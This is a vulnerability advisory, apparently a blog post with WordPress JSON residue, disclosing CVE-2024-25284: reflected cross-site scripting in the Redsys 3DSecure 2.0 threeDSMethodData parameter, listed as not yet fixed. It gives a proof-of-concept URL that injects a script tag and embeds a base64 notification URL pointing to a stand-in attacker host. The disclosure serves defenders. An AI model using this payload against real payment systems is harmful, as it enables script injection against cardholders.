Product: 3DSecure 2.0
Manufacturer: Redsys
Affected Version(s): 3DSecure 2.0 3DS Authorization Method
Tested Version(s): 3DSecure 2.0 3DS Authorization Method
Vulnerability Type: Cross-Site Scripting (XSS)
Risk Level: Medium
Solution Status: Not yet fixed
Manufacturer Notification: 2024-01-17
Solution Date: N\/A
Public Disclosure: 2024-09-17
CVE Reference: CVE-2024-25284<\/p>\n
Overview:
Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0 allow attackers to inject arbitrary web scripts via the threeDSMethodData parameter.<\/p>\n
Vulnerability Details:
The threeDSMethodData parameter is not sanitized before being processed, allowing attackers to inject scripts by concatenating code or modifying the base64-encoded information.<\/p>\n
Proof of Concept (PoC):
An attacker can manipulate the threeDSMethodData parameter in the request URL to inject malicious code. Example:<\/p>\n
https:\/\/sis-d.redsys.es\/sis-simulador-web\/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze<\/p>\n
Solution:
No solution is currently available. Redsys has been notified of the issue.<\/p>\n
References:
OWASP Web Security Testing Guide: Reflected Cross-Site Scripting<\/p>\n
Discoverer:
Reported by Rub\u00e9n L\u00f3pez Herrera<\/p>\n
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Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Authorization MethodTested Version(s): 3DSecure 2.0 3DS Authorization MethodVulnerability Type: Cross-Site Scripting (XSS)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N\/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25284 Overview:Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0 allow attackers to inject arbitrary web scripts …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59626","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59626","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59626"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59626\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59626"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59626"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59626"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}